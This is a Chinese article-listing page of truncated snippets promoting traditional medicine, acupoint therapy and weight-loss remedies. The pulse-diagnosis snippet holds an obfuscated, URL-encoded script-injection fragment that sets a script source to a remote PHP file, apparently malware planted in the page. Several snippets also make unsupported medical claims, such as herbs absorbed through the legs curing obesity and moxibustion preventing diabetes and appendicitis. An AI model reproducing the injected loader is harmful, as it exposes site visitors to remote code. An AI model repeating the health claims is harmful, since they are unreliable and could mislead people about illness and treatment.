| 共 55 篇文章 |
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[  ]养生先养腿和脚，减肥重在化痰祛湿补气。其中党参作为补气的要药，在减肥中广泛地使用。党参通过腿部直接吸收入里，起到补气的作用，消除引起肥胖的根本原因――气虚。穴位：丰隆（见上图）、漏谷、地机。丰隆穴是足阳明胃经的穴位，位于小腿前外侧，外踝上８寸，条口外，距胫骨前缘两横指。本穴物质为漏谷穴传来的降地之雨，雨降地部后，地部... 阅31 转自一日之秋 公众公开 15-08-09 19:36 |
快速减肥方法。 阅107 转自***壁虎漫... 公众公开 15-08-09 18:57 |
大多都有心悸接不上气的现象左手关脉 正常为不强不弱 太强说明肝气太盛，太弱也不行大多有胃炎一类。戏说脉诊。告诉你一个秘密，教你轻轻松松学中医，自自在在学脉诊，也许，你从这里起步，开始了你的学习中。tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bw... 阅66 转自lcs819 公众公开 15-08-09 17:38 |
[  ]人体自然疗法(资料珍贵保存备用)我罗哩罗唆说了一堆废话是为了告诉你和所有肝炎患者不用为此太烦恼,人体与病毒的搏斗是由来已久的,人体有丰富的经验,问题是你本身的能力够不够,这就是为什么有的人没有事,有的人就有事,要想你的身体能力上升到能控制病毒,上升到能消灭病毒,你要做的事就是让你的血,你人体里的总血流量不断上升,有了血,人体的气机... 阅342 转自有情人. 公众公开 13-11-23 16:08 |
[ ]血脂水平极容易受非疾病因素的影响，如有的人平时空腹血脂正常，吃了炒鸡蛋、炒肝尖，2小时后到医院去抽血查血脂，这时的血脂水平会比平常空腹时水平高出许多。对高血脂人士有益的食物大蒜大蒜中的蒜辣素等成分能降低胆固醇和甘油三酯在血液中的浓度，并能减少肝脏合成胆固醇。香菇香菇营养丰富超过蘑菇，含有16种氨基酸，其中7种是人体必需的... 阅332 转自疏帘邀月 公众公开 13-11-18 20:44 |
空腹来杯柠檬水 40岁也能很HOT空腹来杯柠檬水 40岁也能很HOT.原标题：空腹来杯柠檬水 40岁也能很HOT.早晨喝一杯柠檬水，将水的功能和柠檬的功能相结合，在补充水的同时补充维生素，对人体的排毒美容能起到不错的作用。空腹喝柠檬水对于渴望瘦下来的女性来说，还能帮助清除体内有害物质，帮助减轻体重。虽然说晨起喝杯柠檬水对身体很有好处，但... 阅1042 转71 评0 公众公开 13-10-19 07:48 |
10.减小腿：检验小腿脂肪多少的方法很简单，放松腿部，然后用手指捏小腿肚子的部位，能轻松捏起脂肪层的就说明你的腿是脂肪型的，需要减减了～如果脂肪层很薄，光是肌肉就显得腿很粗，那就是肌肉型的。在练习时，如左右两腿其中一条较难抬起，应在原本的时间上对该腿的练习增加5~10秒，这样可以使左右腿的肌肉更加匀称。o型腿和x型腿篇通过以下... 阅247 转自izimin 公众公开 13-10-03 20:33 |
人体的每一个穴位都相当于一味中药，它们的任何一种神效，都是我们祖先用身体试验过的，只要你学会使用经络，并悟出穴位的深意，你就会终生尽享健康的秘诀。《素问·宣明五气论》说肝是主管筋的，肝的气血可以抚养筋，正如书中所说的“食气入胃，散精于肝，淫气于筋”一样，“淫气”就是指气血。而宗气是由肺吸收的自然之气与脾胃运化而来... 阅257 转50 评0 公众公开 13-08-27 19:11 |
蜂蜜一直以来都是一种非常好的减肥食品，那么如何才能将蜂蜜减肥的效果发挥到最大呢？芹菜洗净捣烂绞汁，与蜂蜜同炖温服。蜂蜜首乌丹参汁。取鲜白萝卜洗净，切丁，放人沸水中煮沸捞出，控干水分，晾晒半日，然后放锅中加蜂蜜150克，用小火煮沸调匀，晾冷后服食。取鲜藕适量，洗净，切片，压取汁液，按1杯鲜藕汁加蜂蜜1汤匙比例调匀服食。蜂蜜核... 阅757 转50 评0 公众公开 13-08-27 18:03 |
值得珍藏的艾灸常用养生穴值得珍藏的艾灸常用养生穴导读：现在艾灸保健法因其简便易学，越来越受到人们的喜爱。"认为灸气海能预防治疗糖尿病。日本代田文志（现代日本针灸学家）认为用艾灸气海可预防阑尾炎，他说：为顿挫阑尾炎而灸20～3O壮。现代研究认为：艾灸气海穴可防治下腹部疼痛、大便不通、泄痢不止，遗尿、遗精、阳痿、滑精，闭... 阅39 转自wuqingliu... 公众公开 13-08-27 15:03 |
